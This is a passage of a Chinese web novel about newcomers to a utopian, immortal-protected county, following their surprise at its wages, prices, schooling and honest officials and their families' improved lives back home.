且现在他也算是想明白了,如今风仙县处于仙人庇护下,无论是仙法还是法律,都不会出现以往他在幽州所遇之事,且先前仇离所说之话再次在脑内响起。 更快研究出火铳,风仙县只会更安全。 妹妹的安全,仙师的恩情,他除了加入这火铳研究中,无以回报。 而后,仇离便收到了段化的书信,其内所写甚至着急,似乎很是急着加入研究。 仇离:变性了?以前不乐意,现在恨不得立马加入,所以这中间到底是发生了什么??? 第223章 活计 于是火铳和震天雷的研究在段化的加入下研究速度突飞猛进。 原先段化就有在暗自研究火药配比和其威力的影响,可以这么说,若不是有仙师给的配比新一步出现,可能再让段化研究个一年多,这火药也能问世了。 现如今有了书籍作为指明灯,还有富有经验的段化作为一把手,这研究不可谓不快。 为了保护段萱,方知意特意点了一个慎刑司的人负责日常观测,保护,主要也是为了稳固段化,省得他担忧家人,从而影响对武器的研究。 近些日子,自家哥哥忙着研究武器,几乎日日早出晚归,段萱则是静下心来,好好在这风仙县溜达了一圈。 起初刚来到风仙县时,段萱觉得哥哥对于这风仙县描述得过于完美,想来当初应当是为了让她心动才稍作夸张,虽说在她亲眼看到仙师后,这点不满也很快淡去,但段萱觉得,人不能活在虚拟中,人应该活在现实世界才是。 哪怕现实世界并非不像是哥哥说的那般,她觉得自己也能接受良好。 本来是这么想的,结果在风仙县呆了两天后,段萱有些怀疑人生。 ——等等,这这和哥哥说得也不一样啊。 可比他说得好多了! 先前段化所说工作,物价,女子能外出工作等等一事,段萱心想这应当是那风仙县的县令大人特意做出的改变,毕竟都为女子,才能更知道女子的不容易。 但等她亲自来了,一一了解后感觉自己这两天过得和做梦一样,脚踩在地上都没觉得踏实,反而飘飘然像是喝醉酒一样。 首先是扫盲班。 她来了后就被哥哥送到了扫盲班扫盲,段萱心想自己认识字,还需要扫什么盲? 但当她进去后,发现这里教的和她原先学的东西压根就是两模两样。 譬如拼音,九九乘法表,还有对于时间,卫生,等等方方面面的教导。 说是教导,段萱觉得更像是她所学会的一个新词语——“科普”。 比如科普本县日薪,最低一百文,且每日法定工作四个时辰,干超点了必须要给加班费,加班费还是正常工资的1.5倍。 若是有违反本县劳动法的,自然会被县衙惩处。 起初听闻这些时,段萱觉得自己没睡醒。 加加班费?这东西她听都没听过,一天四个时辰也是让她震撼不已,毕竟就这世道,别说四个时辰,每日六个时辰的活计能找到都要求爷爷告奶奶。 像她先前当丫鬟时,那可几乎是全天待命。 除却这之外,在知晓本县竟然学堂收费仅为一年一两,且不限制身份,性别后,段萱还是呆愣了许久。 原先段家家境不错,但学堂那可是不允许小娘子上的,若非当时她母亲额外请了女夫子教导她,她绝不会有机会读书认字。 当然,读的书也有讲究,她不被允许看那些所谓男子才能看的书,至少表面上不允许,但母亲会带她去父亲的书房偷偷去看,但母女两都知道这事得瞒着,不能被外人知晓,不然别人随便告一嘴,都够她们段家喝一壶的了。 除了这些外,段萱在本县转悠之际,先后打探到物价竟然如此感人。 两文钱一斤细腻如雪的盐巴,两文钱的豆腐,更为便宜的番薯,除却这些,别的粮食,布料,肉类,也要比她所在的幽州充县要低了许多。 再加上此地工资高,且大部分活计还包吃住,若是真想攒钱的话,很快便能攒下一笔银两。 除却这些外,段萱还得知,风仙县有许多她从未听过的工厂,制作豆腐的,粉条的,酒厂,盐厂,布料厂,器械厂,糖厂,染料厂,还有陶瓷厂。 她打听到,若是能在本地进入其中任一厂工作,那便算是吃上公家饭了,首先是工资较高,且福利完善,颇为受众人欢迎。 除却众多厂子外,段萱还发现此地竟然还设有报纸,贴心的分设了两版本,认识字少的便看拼音版,而对于那些想要得到更深一层消息的,便可以购入无拼音版。 段萱曾购入一份报纸细细查看,等看到其内除了刊登每日大事外,还会播报某处有某种工作,有想去的直接联络上面留下的方式即可。 除却可以知晓大事,方便找工作外,报纸上还会每日科普一些耕作知识,一般科普的就是本地以及附近百姓所种植之物,譬如小麦,大豆,棉花,甜菜,番薯等等,包括合理播种,防虫增肥各个方面,甚至还贴心的科普了每种作物所需的光照条件,湿度,气候,什么时候播种,又什么时候采收最为合理。 除了科普版块,还有娱乐版块,有会写故事的人投稿,将自己编纂的小说投稿到里面,形成一个独特的小说版块,里面写的故事五花八门,大部分在看完严肃部分后便会抢着去看这小说区域,好看看今日新奇故事为何。 不说别的,单论先前的科普模块,段萱都觉得买报纸的两文钱简直花得太值了。 更何况报纸还有先前的两个更为重要的作用,另外附加的娱乐版块也算是与民同乐了。 联想到风仙县居然让所有人学会拼音,而后毫不吝啬的共享这些重要消息后,段萱难免心情复杂。 要知道这些东西,作为统治者压根就不希望百姓知道,毕竟知道的越多,对于他们的统治便更为不利。 谁都想要听话的百姓,而非被启蒙后难管理的百姓。 这样便是为何学堂的准入门槛这般高的缘故。 但风仙县并非如此,在这里,只要你想学,那就能学,无一人能阻挡。 叹了一口气后,段萱还想继续看报纸,倒是被前来家中装修的匠人们打扰了思绪。 其实装修已经接近尾声,这些匠人过来作最后的防水测试。 等到眼睁睁看着浴室的喷头打开,水流顺利流入下水道后,匠人这才告辞。 段萱结了工钱,刚想看看浴室,便又有人来了。 她打开门,来的人是官府的。 段萱有些摸不着头脑,不等开口,对方表示他们要检查一番沼气管道是否安装完好,若是确认完好,才会开通沼气。 官府检查的速度很快,段萱对于官府之人的印象还停留在过往,这会眼看对方检查完毕,在带着的本子上勾勾画画时,她忙递过去一小包银两。 这便是她这七年学会的东西,这让官府之人给你好好办事,上下打点自然是需要花钱的,不然你就干等着吧,一两天的事情都能拖到一两个月,直到他们得了好处才会给你办成事。 段萱隐蔽地将那银两递过去,却被对方推了回来。 一时间有些难以接受。 ——怎么,嫌少了?她忙脸上挂着歉意的笑容。 “看我这眼神,拿错了,这才是。” 又偷偷给加了一包银两,连同刚才那包银两,这钱可不算少了。 没想到对方后退几步,那姿态和防贼一样,这会慌张道:“小娘子,我们风仙县可不需要这些。 你可别害我了。” 这会给她通了气,忙急匆匆离开,偶尔回头看她一眼,生怕她非要给。 段萱脑袋空白,那两小包裹的银两被推得掉在地上,看那人背影消失,她这才蹲下身子捡起掉在地上的小包裹 奇了怪了,这风仙县竟如此清廉?刚才只有她和那人两人在,若是悄悄收了,可谓是神不知鬼不觉。 难不成,风仙县已然到了官员都自发清廉的地步了? 段萱大为惊诧,这会先是去浴室试验一番沐浴喷头,看那里能流出温度适宜的沐浴水,颇觉得方便。 这可比沐浴桶方便多了。 又去研究她刚来就被震撼到的马桶,沼气灯,燃气等物。 这会越发觉得哥哥确实不曾骗她,他所描绘的风仙县,竟然比不过她亲眼所见,亲身所感的一半! 而段化已经用他这些年所攒下来的银两,租了一间小铺子,用来售卖一些他做出来的,无伤大雅的小发明。 自然,这铺子的运营就落到了段萱身上,毕竟段化忙着研究火铳,再加上他本身就对经营一事不太擅长,自然没勉强自己,选择让更为擅长的妹妹前来负责此事。 这铺子虽说小,但里面的东西实在是稀罕好玩,一时间,倒是惹得风仙县不少有闲钱的人前去探索,而后一传一,竟是硬生生小火了一把。 其中宣发,定价,处理售后,和客户交谈,自然是段萱处理的,一时间,铺子盈利不少,段萱这几日也是脸上藏不住的欢喜。 而在朝廷送来那三百四十匠人在扫盲班学习时,以段化和仇离二人为首的研究团队早就按照书籍和实际情况,对火铳模具,弹药模具,进行了新一轮的改进。 等在偏僻之地试验爆炸范围,性能后,再次将手头的数据调整完毕,二人这才决定将此物的批量制作提上流程。 当然,这一消息自然也是立即回报给了方大人。 而方知意早就命令手下人将那三百四十匠人的职业分类好,挑选出其中最擅长做精细活的,负责参与产线。 为了保密,他们每个人所负责的只不过是制作火铳和震天雷整个繁杂流程中很小一部分,即便是联合起来,只要是没有具体的数据参数,无论如何拼凑,也无法拼凑复刻出火铳的设计图。 且最为重要的是,这匠人来了,方知意就不打算再将这些人吐出去。 不仅不能吐出去,她还要这些匠人心甘情愿地给本县再拉一波人才是。 而此刻,先前最是会做精细活计的万惠总算是被分派了活计,说实话,他其实等了许久了,毕竟这来了风仙县,一直不工作也不是个事啊!他还心里挂念着家里受苦的妻子孩子,还想攒点钱看能不能给家里邮寄回去。 这会兴致冲冲便去看工作内容,但等看清楚自己所做之事便是给一堆模样小巧奇怪的圆锥形物体刻画螺纹时,就算他自认为自己心态不错,也是熟练匠人了,万惠还是满脑袋疑惑。???这他怎么看不懂到底是干嘛的呢! 第224章 预支 万惠虽说看不懂,但并不影响他战战兢兢努力工作。 他原先就是做精细活计的好手,如今给这物刻画螺纹对他来说简单得很,当然,这刻画螺纹也有讲究,譬如每一道螺纹都必须处于同一水平线上。 起初万惠为了调整高度,还需要挨个对齐调控,倒是颇为小心。 等到后来,制作螺纹已成了习惯,在哪个位置,该画什么,又该画多宽,多长,此刻都变成了肌肉记忆下的惯性动作。 话说这所谓的活计很是有趣,每个人分了个小格子,各自分开做着属于自己的活计。 且上面给的要求是不允许互相打探对方所做活计,不然一律充当违反律法辞退。 这要求是第一天上工时万惠就知晓了的,这会既然是来这风仙县讨生活,不至于这么没眼色,非要往上撞。 其余人的想法和他差不了太多,毕竟现在找工作难那可是人人皆知的事啊。 除了分开各自做活外,别的方面的待遇倒是好的没话说,譬如包吃包住,又譬如还可以提前预开薪资。 至于这预开工钱一事便说来话长。 在他们这三百来号人中,自然有人家中银两难以维系一个月,便想着能不能先预开一点工钱,毕竟他在这里有吃的有住的,但家中父母,妻女还在受苦啊!如何能劝自己忍下去? 因工作已有一周,那人便大着胆子前去打听,本以为会被翻几个白眼骂出去,毕竟不说别的地方,单论在他们元城,也断没有预支工钱这一说,实在有给了的,也是主人家心善。 当然,自然给的是干过活计的工钱,不可能说没干的活计也得给。 此人颇为谨慎开口求着,本以为还要费一番口舌,这会正说到家中困难之处,刚抹了把眼泪,就被对方打断。 “行了,你这事我大概知道了。” 此人顿时心里一个“咯噔”,以往这么开头,那便是要被拒绝了。 正是呆在原地,心想自己要不要再求一求时,便听对方继续道:“这原则上是没开过这样的头” 此人心里更凉了。 ——完了完了,这是彻底没戏了,趁着对方还给他台阶,他最好还是麻溜地滚下去才是。 毕竟如今活计难找,若是得罪了刘管事,恐怕是日后更加难度日了。 苦着脸,扯出一个难看的笑,此人讪笑开口:“那便不打扰刘管事您了,我自己再想想法子便是” 法子,他能有什么法子,也就是苦苦等到月底开支。 正是心中哀叹之际,便听对方提高了音量。 “原则是是没有,但县令大人念在如今是特殊时期,便采取了特殊对待方针。 即日起,若是家中有困难的,可提前支取一次工钱。” 此人垂头,本来对刘管事接下来所说之话没报什么期待。 说来说去都是那几句推脱之词,什么都是打工人别为难打工人啦,什么工钱已经给的很不错了,别节外生枝来烦主人家啦,还有什么这么多人都不要,大家都有困难能自己解决,怎么就你自己不能自己解决,是不是能力有问题什么的啦。 总之这几套说法,此人心里门清。 这会刚想转身离去,大脑总算后知后觉察觉到了刘管事刚才说了何话。 过往经验崩塌,碎成一地,而后便是不敢置信地重复了一遍。 “刘管事,您是说可以提前支取一次工钱?” “对,但这是这次情况特殊,之后没特殊情况便是一月一发。” 这话此人其实已经听不到了,这会满脑子还在迷糊。 这这就同意了?他以为今日定要无功而返了。 这会一时激动,面庞划过两行眼泪,又赶紧擦干净,生怕被旁人看到。 刘管事正展开那工钱登记本,找到此人名字,开始核对工钱。 “周大为,一共是做了一周的活计,可预支铜钱为2500文,若你要邮寄回家,还是换成银两好些。” 等听清楚数额后,周大为第一时间怀疑自己听错了。 等会,多少?2500文?这可是二两半白银啊!他来到此处工作才刚刚一周,若是干一个满月,岂不是得月收入10两了? 10两?他这样的人也能收到??? 说实话,周大为有些头晕,觉得呼吸喘不过气来。 这会先确定名字没错后,依旧一脸惊诧。 “刘管事,这,这钱是不是不太对劲?” 他略微怀疑,生怕是算错账了,让他白欢喜一场。 而刘管事则在仔细看过一次后开口:“最低日薪100文,按计件收费算提成,便是300文,每日便是400文,七日是2800文,但因你有几个零件做得不合格,被返回去了,这便扣除300文。” 周大为很快便反应过来扣钱的那几个零件是怎么回事了,那是他一开始不熟练导致的,确实做得不太好,后来稍微熟悉后,自然损耗率就低了许多。 但这计算工资的方法,周大为还是第一个知晓的。 倒是被这计算方法吓了一跳。 乖乖,若是每日都能赚这么多钱,他岂不是日后也能月月日收十两了? 月收十两,不敢想 毕竟往年年份好的时候,他最多也没能收入这么多啊! 刘管事难免提醒他。 “这便是最近需要做的活计多才会如此,若是日后活计少了,你可别泄气才是。” 这便是在好心提点他,让他平常心对待。 但说实话,周大为已经很满足了,毕竟他原先以为自己每日拿的是一百文,那当日他算下来,每个月还能拿到3两白银呢! 他这吃饭住宿都不花钱的,可不是能攒下不少给家里邮寄回去?这会有绩效,倒是七日便快攒到了计划里一个月才能攒出来的银两。 周大为千道万谢后迅速离开了,当然,这消息自然也传递开来,不少家中窘迫之人忙学着周大为的样子前去预支一部分,而后再邮寄回家。 话说这邮寄业务分为邮寄信件和邮寄银两的,信件暂且不表,价格便宜一些,邮寄银两自然是贵的,毕竟风险高,邮资自然也高。 万惠也去支取了这七日的工钱,他没想到自己竟然能有三两银子,问刘管事是因为他干活干得快,所以绩效高,这会忙将这三两扣除邮资后,全部给家中邮递过去。 除了邮递银两外,他发觉此地售卖的细盐甚是便宜,竟然才两文钱一斤,本想给家中购入一些细盐邮递回去,毕竟元城花销实在是昂贵,那里的食盐若是细盐的话,早就超了三十文一斤,且成色也远不如眼前所看之物。 “老板,给我来三斤。” 万惠心想买多些可以回去慢慢留着吃,毕竟盐谁家不是个刚需呢,说不定还能给亲朋好友也分出去一点,毕竟此地盐巴属实便宜得不像话啊。 那圆脸掌柜指了指一旁张贴着的公告,万惠仔细一瞅,发现这公告还是带着拼音的。 上面写的是非持有本县居住证和官府准批的采买证,不可购买超过二两的食盐。 二两这数额实在是少,也就够一个人吃十天,一口之家的话,最多也就够五天。 万惠心想这两样证件又是何物,这会没办法,着急寄钱回家,便买了二两的。 这零买的话,便是两厘钱,着实便宜,若非要说的话,日常用绝对足够,但若是大批量购入,这可谓是鸡肋了许多。 但好歹也便宜得打紧,万惠便一并买了。 这会又用刚拿到手的工钱,在本县买了一些方便邮寄的干货,譬如粉条,豆干之类。 价格总体来说肯定是比元城便宜多了,且甚是稀奇,邮寄回家了也能给孩子们尝尝。 他倒是路过那据说最为有名的张氏点心铺子,一时间被那铺子里的香气勾得直往里看。 ——这到底是如何做的,为何香味这般浓郁?再看那花样,各个不曾见过,看那点心铺子的伙计伸手去给客人打包时,隔着打包纸,他都能感受到那点心的绵软,和他以往吃到过的硬邦邦的点心应当不是一回事。 万惠本想着要不要给家中妻子也捎一点回去,但在看到价格后立马歇了心思。 太贵了,这一斤竟然是按照两为单位起步计算的! 实在不适合如今的他吃!且上面用拼音写得清楚,最多只能存放三日,之后风味每况愈下,最后只能坏了扔掉,实在是不值当。 想来那邮寄所耽误的时间也远超三日,万惠摇摇头,心想这什么点心就先算了,日后他若是收益上来了,到时候再来吃不迟。 注意力从张氏点心铺挪开后,万惠脑内则是开始想东想西。 刚才他买食盐时就曾打听过这居住证为何物,至于另外的采买证,想来不是他这样的普通人能拿到的东西他也就歇了心思没问,专门仔细问了问这居住证。 那掌柜的看他是外来的,好心告诉他,居住证有两个法子可获得。 一来是在风仙县亦或是其余仙人所管辖区域内购入房产,经官府核对审批后,即可获得居住证。 二来便是租房,但有要求,必须得在本县及仙人所管辖区域下工作超过六个月后,才可向官府提出申请。 在经官府审批品行后,便可以获得居住证了。 万惠还在不住地回想那掌柜所说,据他所说,这有了居住证,起码最为便利的福利能享受上,所以当时那掌柜劝他有机会就赶紧办一个。 万惠自然也想办,但买房自然不成,那太贵了,看来看去,或许只能等日后租房后申请了。 不过前提是得先工作六个月,他如今不过工作一周,还早得很,这会决定埋头苦赚,打算等日子合适了,他也将这风仙县底细打听明白了,再将妻子接过来才是。 至于万惠所寄出去的物品和银两,以及一封信在经过风仙县审批局审查没问题后,这才放行,等到万氏手中时,已经是七日后了。 第225章 嫉妒 话说这万氏收到自家丈夫寄来的包裹时,正在用家中仅存的一点钱凑合过日。 先前万惠临走前,除了自己带了点吃的,剩余的一两银子全部给了妻子留下了。 但因元城物价高,尽管万氏已经很是节俭,但这点钱很快便在坚持半个月后花费完毕。 且这半个月,万氏基本上和两个孩子都没怎么吃饱过,一天也就是只敢吃一顿饭的那种。 为了养活孩子,她则是早出晚归的和周围妇人一起结伴去缝补衣裳,一天也就赚几个铜板顶天了。 稍大一些的哥哥则是去万惠先前曾去逮着鱼的河里捞鱼,毕竟万家家底薄,孩子这么大又不去读书,自然是闲在家里。 而小一些的妹妹则是在家收拾家,负责伺候院子里的菜。 万惠家院子很小,但也全部开春后洒下种子,种了一些蔬菜,譬如白菜苋菜,丝瓜茄子,萝卜姜蒜这些。 毕竟能自己种点就不至于再去花费那些冤枉钱去买菜了。 好在今年天气比去年雨水多了许多,撒下去的种子还算是长了起来。 这便是万氏最近虽说没几个铜板但也能勉强度日的原因。 实在没吃的了,便只能靠吃点蔬菜度日。 这菜园子不大,虽说今年雨水还可以,但因为万氏并不懂如何科学种植,养出来的蔬菜大都歪瓜裂枣,不过这个时候也不嫌弃模样,只要能吃便好,当然若是论品相,自然和外面那些专门售卖的水灵灵的蔬菜没得比。 而万氏则是在空手归来时收到的东西。 当时她正心里难受,毕竟空等了一日,却没能拿到一文钱,丈夫也不曾有个消息,这往后的日子可要怎么过? 等手头被一陌生人塞到一包东西后,看着里面熟悉的打包布袋,万氏立马就晓得这是万惠寄过来的东西。 忙拿着东西进了屋,万小娘还在撅着屁股拔着菜园子里的杂草,看到自家娘回来了,还拎了个包裹,忙起身跑过去。 母女两进了屋,打开这包裹,万氏从里面翻出来二两银子,这会甚是惊喜。 丈夫这是赚到钱了,寄钱回来了! 又疑惑这二两银子不少,他是如何这么快赚到的?心想生怕是丈夫为了家里借了钱,倒是心情紧张。 可惜她不认识字,一会这信件必须得找读信的人给她读了才是。 这会把信放在一边,开始翻看丈夫邮寄回来的别的东西。 用小纸包包起来的细盐?这分量万氏一摸到手便知这大概是二两。 万氏很了解丈夫,他不是乱花钱的人,这会寄细盐回家,想来是这细盐卖得便宜? 但再便宜她也觉得心疼,毕竟她往日都是买粗盐回家自己敲碎后研磨,虽然费事,但是能比细盐便宜近二十文,毕竟过日子得精打细算着来。 虽说这细盐可能要比元城的便宜一些,但估计也便宜不到哪里去,毕竟元城现在不到这品质的细盐可都到了八十文一斤了! 前两天她还想去买点盐回来,去了一看,发现最粗劣的粗盐为25文一斤,越往上随着等级提升,细盐价格自然是更贵。 当初她看到那最细腻干净的细盐,问了问价格,吓了一跳,80文一斤!老天爷!太贵了! 最后迫于窘迫,万氏先没买,打算将家中最后一点盐巴用完了再买,毕竟手头实在是紧张。 现在倒是庆幸没买了,这二两盐她们省着点能吃十天了。 只是这细盐实在是品质高,万氏第一次吃这么好的东西,一时间觉得浪费,只想着看能不能将这盐巴换成粗盐,虽说品质不行,但能换到的量多啊。 心里琢磨着这事,万氏又去看丈夫发过来的一袋子干货,有和面条一样的长条形,泛着灰的干货,以及晒得干干的片状黄色干货,除了这些,还有一大兜子晒得干巴巴的番薯。 番薯她自然不认识,当初万惠发现这番薯卖的很是便宜,晒干后就算空口吃也好吃,便给家里买了不少晒干的番薯,心想这东西好歹能果腹。 这会万氏不认识这三样东西,心想得赶紧去找人给自己念信。 等到终于找人给她读信后,总算知道那三样东西叫什么,又如何吃了。 回到家,万小郎已经回来,手里拎着几条拇指大小的鱼苗,笑得傻乎乎。 万氏接过鱼,先拿出番薯干让两个孩子各自吃了一片,这会自己也选了一片最小的放进嘴里 很有嚼劲,干干的,却带着一股甜味,味道比她想象中的好吃许多。 两个孩子吃得瞪大眼睛,吃完一块还想再吃一块被万氏制止。 “留着肚子,一会娘给你们做粉条豆腐皮炖鱼。” 她不是那等舍不得吃喝的人,既然丈夫给寄了东西,又说这些东西对人身体好,她自然不会抠抠搜搜放坏了好玩意,最后反而亏了她们的身体,还是正常吃喝,正常消耗的好,毕竟身子好着还能寻觅活计,若是身子坏了,省的钱还不够看病的。 且万氏了解万惠,既没特意说这些东西的价格,那便是不贵,或者不方便说,不管是那种情况,都不影响万氏给孩子们久违的做点好吃的。 为了让这饭菜更好吃,万氏还特意去院子里摘了蔬菜放了进去,也是想多做点,别浪费这一锅好东西。 等到粉条豆腐皮炖鱼,不——或许应该叫乱炖出锅后,一股浓厚的香味扑鼻而来,万氏和两个孩子不自觉喉咙滚动。 这会看那豆腐皮煮出来一层细腻的油膜,将白菜和萝卜均匀地染上油润,原本寡淡的蔬菜立马就看上去诱人许多。 三人围着小桌子吃饭,吃得抬不起头,万氏一阵恍惚,甚至想不起来上次吃得这般香的是什么时候。 她特意给两个孩子多留了点,心里还在回味那粉条爽滑入味的口感。 等到一顿饭结束,三人均是一副恋恋不舍的状态。 虽说好吃,但谁都知道这也不能天天这么吃,两孩子默契地没说过分的话,万氏想着每隔三五天做一次得了。 这会温和道:“三天后再做一次。”又补充,“得有鱼才行,不然也不好吃。” 两孩子顿时欢呼雀跃,万小郎对之后的摸鱼大业更是期待万分,毕竟今日吃的东西实在是美味无比,这会两个孩子缠着问万氏,万惠那封信里写了什么。 万氏挑着能说的给两个孩子稍微说了点,大概便是说万惠在工作的地方给她们一家人赚钱,等赚得钱够了,就回来带他们过去玩。 因夜深了点,万氏吹灭了灯搂着孩子入睡了。 连着过了一些日子,倒是门口时刻看万家热闹的吴匠人察觉到不太对劲。 ——原以为那万惠走了后,这万氏的日子不会过得太好,事实上一开始也是如此,他倒是多次看到万氏一副窘迫模样,俨然是日子过得不顺心。 但最近这万家的日子好像比以前好了些,譬如先前他看那万氏竟然买了一大兜子的粗盐回来。 吴匠人虽说有活计干,但像是他们这种收入的,吃盐都吃粗盐,毕竟人总不能为了省事就白白多花二十文吧!往后日子不过啦! 以往买盐也是他妻子去的,每次去都会骂盐价太贵,以往十文的粗盐如今竟然是卖到了二十五文! 吴匠人倒是想不到这万氏怎地一下变了性子,竟是买了这么多粗盐回来。 除了这件事,这万家三天两头的有香味飘出来,不是肉,但那味道也确实香。 他才不会拉着脸去问别人家吃了什么,再说,他一个男人打听万惠的妻子,说出去让人不免有怀疑他是不是对人家有意思的风险,于是再疑惑,也不得不忍着。 只是随着日子越往后,看到万家三人脸色逐渐好了起来,不像是以往那副吃不饱饭的样子,这不免让吴匠人心中产生了微妙的不平衡和一丝丝紧迫感。 ——难不成是那万惠出去了真赚到钱了?毕竟这几日万氏看起来可没有原先那副急于赚钱的样子了,想来是万惠给家里邮寄了点钱? 一想到这个可能性,一种隐秘的嫉妒几乎要吞没他,吴匠人再也忍耐不住,变着法子偷偷打听,这一打听,倒还真让他打听出点东西来。 譬如那粗盐不是万氏买的,是她和人用细盐换的,至于细盐是哪来的,听说是主人家赏给万惠的,这才被万惠当成宝贝一样邮寄了回来。 至于最近她家的香味是那万惠给带了什么当地特产,但具体为何,没人知道。 至于最重要的一条,万惠出去了到底赚钱了没,这点他花了不少时间,仔细打探。 不仅仅是打听万惠,也打听先前同样前去做工的匠人们。 这不打听不要紧,一打听,竟是没能打听到具体数额。 但吴匠人不傻,这些人最近日子过得都不错,各个又将这收入捂得严实,想来是这活计不错,真赚到钱了! 一时间,吴匠人嫉妒得双眼通红,呼吸加快了几分,这会勉强呼出几口气,又冷笑着安慰自己。 ——赚到钱又如何,想来最多也就一日几十文到天了!且这活计能有几天好做,不过是昙花一现而已! 但胸口一股失落感却时刻提醒他错失良机,这会恨恨回家。 等到下午他妻子回家,一进门便摔摔打打,吴匠人心想这婆娘又发什么疯,这会心里烦躁却不敢惹火她,只是问何事让她烦躁。 等听妻子抱怨般谈起他不该没去报名,又说起先前那些匠人竟一日能稳稳当当收入一百文后,吴匠人是真心态崩了。 ——一百文?该死的,这群人怎么敢的啊! 不是,这一百文的工作,怎么就没轮到他呢!!! 靠!他当时到底在装什么,他后悔了,他也想去啊!那可是一百文啊! 第226章 纠结 自得知万惠那群人竟然日收一百文后,吴匠人好几日都气得没能出门。 一时半会实在是想不开,琢磨了几日后,吴匠人觉得或许他也该去官府问问下次招工是什么时候。 想归想,但他可遇到不到官府负责此事之人,就算偶尔遇到了,对方看着也不像是他这身份能随便上去攀附的。 好几日吴匠人着急,但是却不敢上前问,毕竟在他心里,这官兵和普通老百姓之间那可是隔着壁的,岂能是他这样的小民随便问的,若是遇到官兵心情不好,打死他都不算摊上事。 不说吴匠人,不少没去的匠人也在默默关注先前去的那一批匠人情况。 等到偷偷打量后发觉这些匠人的家人过得不错,显然是那官府的活计还算靠谱,这会各个心情复杂。 靠,那群人是真赚到钱了! 一时间,没去的人各个心生嫉妒,又迫切地希望下一次招工快点来吧,毕竟光是听到那日薪一百文,他们早就心动不已,悔得肠子都青了,恨不得狠狠给当时自作聪明的自己一巴掌。 ——当时还担心是不是官府坑人,现在一看,实在是他们无福消受啊! 这难得官府好心一次,他们竟然没能把握住机会,实在是令人扼腕叹息。 不少稍微有些关系的人已经开始暗中打听那下一次招工是什么时候了,但更多的匠人没什么关系可用,只能干等着官府下发招工令。 但想来最快也要过些日子才会招工,毕竟刚送过去一批,哪里还能消化掉他们这么多人? 只能继续做着手头事多钱少的工作。 越是时间久了,拖着疲惫的身体干着低廉的活计,这些人更是追悔莫及,愈发想念那传说中的日薪一百文的工钱。 当初怎地就想不开没去报名呢?若是报了名,这会可就是干着日赚一百文的工作了,且也不需要费劲巴拉地每日去寻找新的活计 而此时此刻,万惠则是得到了邮寄之人发来的消息,说是东西已经送到了。 若是换在别的地方,万惠肯定不放心,还要再问问才能确定那东西到底送到了没,但在风仙县,万惠了解到这邮寄事业算是官府负责的,无论是人员选用,亦或是负责程度上绝对是一流的。 他这些日子没闲着,除了上工时勤勤恳恳工作,下工后倒是分神打探风仙县的底细,毕竟他觉得此地甚好,想多方评判,看看这风仙县到底如何,是不是他最近亲眼所见那般。 时间一久,万惠很快就发现,就算他不主动打听也能常听人说起这风仙县官府的事迹,无论是修建河流,亦或是修缮城墙,再或者是修建工厂,总之各项政策下来,让他们有地方可做工,生活条件照以前好了太多。 万惠打听许久,发现这风仙县听起来可比他亲眼看着的还要好。 这会自然是心动不已,动了想让家人搬过来长住的想法。 本是这样想的,直到下工听到同宿舍的几人闲聊。 这几人他只是眼熟,并非熟识,日常也就是见面点个头的关系。 他们声音压得很低,但万惠还是听到了。 “你别说,来了这风仙县,我才知道什么叫生活,这里赚钱多,物价又低,我都想将家人接过来,在这里久居。” 此人想法和万惠想法几乎一致,看来最近并非是他一人动摇,有了想定居的心思,毕竟从万惠的角度来看,这只要是个正常人,很难拒绝风仙县给出的诱惑啊。 万惠没吭声,安静听这几人继续谈论。 另一人的声音明显压低许多。 “这风仙县好归好,但极有可能是昙花一现啊。” “此话怎讲?” 这话倒是让几人很是好奇和不安,毕竟不说别的,谁也不愿意这赚钱的好地方就这样没了啊! 那人继续道:“先前我注意到,这风仙县用的法律可不是咱们大炎朝的律法啊。你想想看,这地连朝廷的律法都不用了,那可不就是明摆着不愿意听朝廷话了?” 此话顿时让包括万惠在内的几人顿时一惊。 显然他们都没发现这件事,这会各个瞪大眼睛。 “这,可为真?” “怎地不是真的?我还特意翻看了那报纸,其内写得清楚,那律法是风仙县的县令大人和仙人共创,和大炎朝律法可没有一文钱的关系!” 这话像是惊雷一样炸开在几人心头,不等几人反应,此人继续道:“所以说,先别冲动,若是将家人都带来了,这风仙县被冠以叛军之名,那咱们岂不是带着家人主动取死?” 这话其实有几分道理,几人顿时沉默,而后有人怀疑地提出质疑。 “这话确实有几分道理,但咱们能来这里,是因为官府开的口子,你忘啦,当初还是官府带着官兵将我等护送到此地。 若是这风仙县有叛逆之心,那朝廷如何又能无动于衷?” “这谁知道呢,或者是两方有什么约定吧?就像是那陈贼一样,谁不知道他狼子野心,但朝廷打不过人家,只能捏着鼻子给出去一个官位用来安抚对方。 谁都知道这陈贼不安好心,但面上这会还过得去。” 几人陷入沉思,那人又继续道:“反正我也是这么随便一想。想想看,虽说咱们是赚到了钱,但这好日子能持续多久?若等到朝廷和风仙县翻脸的那日,两方交战的话,这肯定是朝廷赢得几率大啊。” 万惠一时间也难以反驳,毕竟从体量来看,这风仙县若是对上朝廷,确实应付起来有些勉强。 有人提出质疑。 “但我听说这风仙县可是有仙人坐镇,那仙人神通广大,岂是官兵就能奈何的存在?” “那仙人你亲眼见过?依我看不过是一幌子而已。” 这几人说什么的都有,这会争辩起来,倒是谁都不服谁,而万惠则是想到了风仙县内被提及率最高的仙人。 他初来此地时,也觉得这仙人一说是幌子,但等工作时间越久,越觉得此事极有可能是真的。 不然怎么解释此地会有这么多和外地截然不同的情况出现? 许多政策在万惠看来,对上头的大人们没有任何好处,反而像是真心实意为普通百姓谋求福利。 这点就让他很不懂,毕竟他见过许多贪官,一时半会倒是对这样堪称高尚之人多了几分不真实的陌生感。 等到知晓对方仙人身份后,万惠反而放松了。 ——他就说嘛,对方肯定不是人,是人便有欲望,只有仙人才会无欲无求。 等到他了解的东西多了,知晓了更多这仙人的事迹,自然是打心底里认可仙人的存在。 毕竟除了这毫无私心的政策外,他确实亲眼看到了太多奇迹。 比如各种仙人赐予的种子,高量耐活,再比如说仙人指点制作的沼气灯,亮如白昼,尤其是那沼气池,更是让他惊讶无比的存在。 除却这些外,万惠觉得最朴素的原因便是他在这里能感觉到自己活着。 不用为了一口饭奔波到精疲力尽,不用全天都在想着该怎么养活自己,养活家人,而只需要工作的时候工作,下工的时候安心下工。 他在这里有一种从未有过的安心感,——只要劳动,靠着自己,便能收获一种稳稳当当的幸福安稳。 且最重要的是,这里不会辜负任何一个肯付出劳动的人,他在来此地之前,从未想过像他这样的人,居然还能活着享受生活,还能有资格享受他做梦都想不到的宁静安心。 